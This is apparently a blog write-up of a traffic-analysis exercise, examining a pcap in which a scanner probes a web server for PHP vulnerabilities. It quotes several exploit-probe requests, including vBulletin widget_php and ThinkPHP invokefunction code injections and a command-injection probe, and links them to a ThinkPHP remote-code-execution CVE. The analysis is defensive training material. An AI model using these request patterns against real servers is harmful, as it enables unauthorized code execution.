Traffic Analysis Exercise — It Happened on Christmas Day
Link to exercise
QUESTION
- What the heck is going on here?
Analysis
We are given a pcap and the .txt and .jpg of the alerts:
First starting off with the alerts, our affected internal IP is 10.12.25.101. All alerts look to occur on port 80 (HTTP) and involve .101 and an external IP, 139.199.184.166. So for our PCAP, we will most likely be dealing with looking at the HTTP traffic.
PCAP —
Most of the traffic is related to HTTP per protocol hierarchy. Checking endpoints, .101 and the external IP 139.199.184.166 are the only IPv4 addresses in the pcap.
Some preliminary info on our internal host:
10.12.25.101 —Cisco- e8:04:62:1c:c3:bb
User Agent — Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0 — Running Firefox on Windows 7
Looking into the HTTP traffic now, the initial request is a GET request to the “host” 128.199.64.235 but from source IP 139.199.184.166.
POST request to /Admin1f768268/Login.php with the following parameter: “admin” = “die(@md5(Apri1));”
Following along there is another GET request with an interesting response from the server, “welcome to spiraline[.]com”
The next GET request for a l.php file, has a base64 encoded string in the Accept-Charset. This decodes to:
“die(md5(‘HellophpStudy’));”
Next POST request to /index.php: epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));
These similar GET and POST requests continue on until the GET request:
Get jona’s stories in your inbox
Join Medium for free to get updates from this writer.
GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50
URLDecode of this parameter passed:
/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
Same parameter is passed to GET /elrekt.php
Next GET request looks to be passed in clear text: GET /App/?content=die(md5(HelloThinkPHP))
There are alot of GET requests, but other GET requests that look suspicious:
GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))}
GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}
GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>
GET /?a=echo%20-n%20HelloNginx%7Cmd5sum
GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74
URLDecode of this is: “seeyon/htmlofficeservlet”.
Looking this up returns results related to Arbiitrary file upload threat.
GET /ContactAdministrators!default.jspa
No other interesting traffic observed or anything downloaded to the host via HTTP export object.
ANSWER
Just based on the actvity this looks to be scanning for .php vulnerabilities. Majority of GET requests are responded with 404 Not Found. Searching up some of the unique string “HelloThink” returns back a CVE. CVE 2019–9082
“ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via public//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command.”
This exact command was passed in one of the above GET requests. This looks to be an unauthenticated high risk remote code execution(RCE) vulnerability.
So to summarize, 139.199.184.166 is trying to exploit the apache server 128.199.64.235 which contains the web application development framework ThinkPHP on the host 10.12.25.101.
Answers from malware traffic analysis.
Thanks for reading!
